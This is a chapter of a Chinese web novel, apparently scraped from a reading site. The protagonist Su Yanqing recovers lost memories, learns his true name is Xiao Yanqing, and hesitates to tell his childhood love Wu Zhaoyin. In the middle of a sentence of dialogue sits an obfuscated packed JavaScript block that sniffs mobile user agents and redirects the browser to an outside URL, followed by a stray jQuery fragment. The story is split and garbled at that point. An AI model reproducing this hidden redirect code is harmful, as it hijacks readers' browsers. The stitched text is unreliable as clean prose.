默认冷灰
24号文字
方正启体

40. 如梦阑珊

作者:夫子哂之本书字数:K更新时间:
    夜色如墨,更深露重。这晚的苏彦清在官署值宿的硬榻上辗转反侧,终被一场光怪陆离的梦境攫住,坠入时光的幽潭。


    ……


    岭南旧宅的庭院里,蝉鸣聒噪,暑气蒸腾。少年的他与一个眉眼弯弯的小姑娘并排躺在清凉的竹席上小憩。嘴里含着刚从冰鉴里取出的荔枝,果肉晶莹剔透,清甜的汁水溢满唇齿。远处街巷,隐隐传来缠绵悱恻的南箫乡曲,悠悠荡荡,如诉如慕。他们仰着头,目光穿过稀疏的枝叶,望向宅院后方那片丈许高的笛竹。风乍起,修长的竹梢在澄澈的碧空下柔韧地摇曳,细密如缕,宛如碧海之中飘摇的翠色龙须,沙沙作响,编织着无忧的夏日。


    ……


    狭窄的青石巷陌,马蹄嘚嘚。他坐在即将启程回临安的马车里,惴惴不安。车帘外,那个熟悉的小小身影,正奋力地追赶着!她跑得那样急,小脸涨得通红,额发被汗水黏住,清澈的眼眸里盛满了即将溢出的不舍。眼见马车加速,距离越拉越远,她情急之下,用尽全身力气,将一个精巧的物事猛地抛向车内!他伸手用力接住——是一个温软的绣囊。低头细看,囊面上用五彩丝线精心绣着一对比翼而飞的鹣鸟,羽翼华丽,缠绵相依。然而,其中一只鸟儿的爪部,赫然缺了几针。


    ……


    厢房内,他流着滚烫的泪水,双手疯狂拍打着紧闭的房门:“放我出去!放我出去!”门外,传来舅父焦灼的哀劝声,声音里充满了痛苦和无奈。


    ……


    一个喧嚣的午后,他喝得酩酊大醉,只见眼前人影晃动,头痛欲裂的他在马上天旋地转,不一会儿,冰冷的河水瞬间没顶,巨大的水压扼住了呼吸。他没有挣扎,意识在冰冷的黑暗中迅速沉沦、湮灭……


    ……


    “嗬——!”苏彦清猛地从榻上惊坐而起,冷汗瞬间浸透了单薄的中衣,心脏在胸腔里疯狂擂动,几乎要破膛而出。窗外的春阳还未升起,大理寺内万籁俱寂,唯有他粗重的喘息声在空荡的值房里格外清晰。


    是梦?还是……被遗忘的碎片?


    他下意识地伸手探向腰间,颤抖着将那个绣囊解下,凑到窗前微弱的月光下,指尖精准地抚过囊面——那只鹣鸟的爪部,果然缺了!那微小的空缺,此刻如同烧红的烙铁,烫得他指尖发麻!


    苏彦卿心底好似有个声音:这——绝非臆想!


    整整一日,苏彦清在大理寺处理堆积如山的卷宗时都心神恍惚。那些梦境的碎片、绣囊的触感、缺失的鸟爪,如同鬼魅般缠绕着他。黄昏的余晖透过高窗,将他的身影拉得斜长而孤寂。


    就在此时,苏应中恰好来访。苏彦清支开了下属,一把抓住苏应中的手臂,目光灼灼如炬,将昨夜梦境中关于岭南、荔枝、马车离别、绣囊、禁锢、醉酒……事无巨细、分毫不差地复述出来。每一个场景,每一句话语,都清晰得如同昨日。


    “……那个追马车的姑娘,她……她是不是叫……吴昭音?”苏彦清的声音带着自己都未曾察觉的颤抖和一种近乎绝望的笃定。


    苏应中脸色煞白,眼中充满了震惊与难以言喻的疼惜。他看着弟弟眼中那份不容置疑的确认,知道尘封多年的往事,终究是瞒不住了。他长长地地叹了口气,仿佛卸下了千斤重担,又似揭开了一道陈年的伤疤。


    “彦清……”苏应中的声音干涩沙哑,“其实,你……不叫苏彦清。你本名是萧彦清。”他艰难地开口,“你少时与吴家小女交好,后来父亲将你接回京中。那吴家屡遭严相构陷,牵连甚广。你闻此噩耗,忧愤交加,可父亲为了保全氏族,不得不将你囚禁。后来,传闻吴家女忧思过度,泪枯双目。而彼时的你,年龄尚小,势单力薄,故而终日唯有借酒浇愁,神思恍惚。一日里,你酒后骑马,竟……竟失足坠入寒江之中!但待你醒来,便……便全然忘记了前尘往事,连自己是谁都不记得了。”


    苏应中语声微顿,见苏彦清已僵立垂泪,眼底霎时通红,哽声道:“家中长辈见你如此情状,更恐吴家旧事风波再起,殃及苏氏全族……只得狠下心来,决意不再提起旧事,又为你改姓为苏。而那绣囊……想着是你与吴家女唯一的信物,便让你一直带着了……”


    言毕,苏应中沉重地摇了摇头,转身离去。他明白,苏彦清此刻必须独自消化这翻天覆地的冲击。


    而苏应中的话也确实让无数的回忆在苏彦清脑海中汹涌而至,不再是梦境的碎片,而是铭心刻骨、真真切切的过往!


    他整个人,大脑一片空白,仿佛灵魂都被抽离。原来是她!原来碎梦中喊着萧哥哥的少女便是她!他的香囊……他腰间的香囊原来和她的是一对!


    “备马!立刻备马!”苏彦清猛地回神,声音因激动而带着嘶哑。


    骏马疾驰,踏碎长安城黄昏的宁静。苏彦清心跳如擂,恨不能肋生双翼,直飞吴昭音面前,告诉她:他想起来了!全都想起来了!他便是萧彦清,她的萧哥哥。


    然而,离那吴宅越近,他心中不安愈盛……


    当他怀着忐忑的心情冲入吴宅时,迎接他的并非那个朝思暮想的身影,庭院里只有开始点灯的珠儿。


    珠儿见到他,忙不迭地行礼:“苏大人来了,大人稍候,小姐去绣坊了,想必很快便回。”


    珠儿将苏彦清请到堂内喝茶,苏彦清颤抖地接过茶盏,小心翼翼地向珠儿打听吴昭音这些年的点滴,试图从她口中拼凑他错失的岁月。


    正说着,内室榻上,佟慧娘喉间忽地逸出一声低弱嘤咛。珠儿慌忙抢步进去,苏彦清亦紧随而入。只见珠儿凑近榻边,喜道:“呀,姑娘可算醒了!”


    佟慧娘虚弱地睁开眼,认出了一旁的苏彦清,眼中顿时涌上复杂的情绪。


    “苏……苏大人……”佟慧娘气若游丝。


    “啊,你们也认识?”一旁的珠儿也甚是惊讶。


    苏彦清凑近了身子,待他看清了对方,出言惊问道:“佟姑娘?怎么——”


    一念及慧娘当日在相府为他解围,严相岂有不衔恨之理?此刻猛省前事,他连连痛恨自己竟将此事险些忘却,内心愧怍不已,不禁发出一声长叹:“唉——都怪苏某!”


    佟慧娘艰难地举起手,轻轻地拍了拍苏彦清的胳膊。


    “但不知佟姑娘是如何逃出来的?”苏彦清一脸关切。


    “我……我熬不住……哀求他……若我死了……求他开恩……将我与姐姐……葬在一处……”提到姐姐默娘的名字,她的泪水无声滑落,“可……可那老贼……他……他狞


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763224|174476||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑着……说要将我……碎尸万段……喂……喂给相府的恶犬……”


    珠儿听得捂住了嘴,眼中满是惊骇与同情。佟慧娘喘息片刻,眼中闪过一丝微弱的感激:“幸……幸好……相府里……有位相识多年的侍卫大哥……看我实在可怜……偷偷买通了郎中……谎称我……得了……得了会过人的‘蛇缠疮’……那老贼……怕死……这才……命人将我……丢去了……乱葬岗……后来……是刘公子……救了我……”


    话音未落,后院猛地传来一阵“噼里啪啦”的巨响,伴随着锅碗瓢盆落地的声音!苏彦清和珠儿一惊,急忙起身奔向后厨。


    灶台边一片狼藉:锅盖歪斜,汤汁淋漓,柴火散落一地。刘凌风满面烟灰地僵立灶前,俊朗的脸上横亘数道黑痕,手中锅铲犹自高举,一副茫然无措的窘态。他本欲为体弱的慧娘炖鸡烹鱼,补养身子,奈何这位将门虎子深谙兵法韬略,于庖厨之道却是一窍不通。


    见刘凌风这般狼狈,珠儿忍不住“噗嗤”掩口失笑。苏彦清紧绷的心弦也被这意外一幕扯松了几分,嘴角牵起一丝无奈。刘凌风尴尬地挠了挠头,忙将勉强“抢救”出的一碗“鸡汤”,捧给闻声欲起的佟慧娘。


    佟慧娘接过碗,看着刘凌风脸上的黑灰和眼中的关切,苍白的脸上竟浮现一丝淡淡的红晕。她小口啜饮了一下,明明咸得发苦,却强忍着,对着刘凌风露出一个虚弱的微笑:“……好……好喝。”一旁的珠儿信以为真,好奇地凑过去也尝了一口,立刻小脸皱成一团:“呸呸呸!咸死啦!”众人又是一阵忍俊不禁。刘凌风窘得耳根都红了,佟慧娘却温柔地看着他,轻声道:“无妨……待我身子好些……亲自下厨……我的厨艺……可是连……连那奸贼严相……都赞不绝口的……”


    就在此时,门外传来熟悉的脚步声。苏彦清的目光瞬间锁定了月光之下那抹皎洁的身影,心脏再次狂跳起来。


    然而,因为刚刚听闻慧娘的凄惨遭遇,又忆起默娘因他而死的往事……此情此景,与他心中预想的重逢画面,相去甚远。


    更深的顾虑,如同冰冷的藤蔓,悄然缠绕上他方才还滚烫的心。他回忆起来了又如何?他失忆了数年,在她家破人亡、颠沛流离的漫长岁月里,他却在享受着“失忆”带来的平静,对她的苦难一无所知。


    一股强烈的自我怀疑和恐慌攫住了他。望着吴昭音清澈依旧的眼眸,一个念头尖锐地刺入心底——或许昭音念念不忘的,只是记忆中青梅竹马的萧哥哥,是那段尘封的纯真情谊,而非眼前这个被现实磨砺得满身风霜、甚至可能为她招致祸端的大理寺少卿苏彦清?


    他害怕了。害怕自己的靠近会给她带来新的不幸,害怕自己早已配不上她记忆中那个少年,更害怕从她眼中看到……对记忆的眷恋多过对他这个真实存在的人的认同。


    到嘴边的那句“我是萧彦清,我想起来了”,在舌尖滚了又滚,最终被他生生咽了回去,喉间涌上一股难以言喻的苦涩。他默默地垂下眼睑,将涌起的热望死死压回心底深处,只余下指尖紧握绣囊时,那缺了一爪的鹣鸟带来的、微凉的刺痛。他勉强对归来的吴昭音扯出一丝微笑,目光却仓皇地避开了她探寻的视线,落在了那碗还在冒着热气、却注定无人再喝的咸汤上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)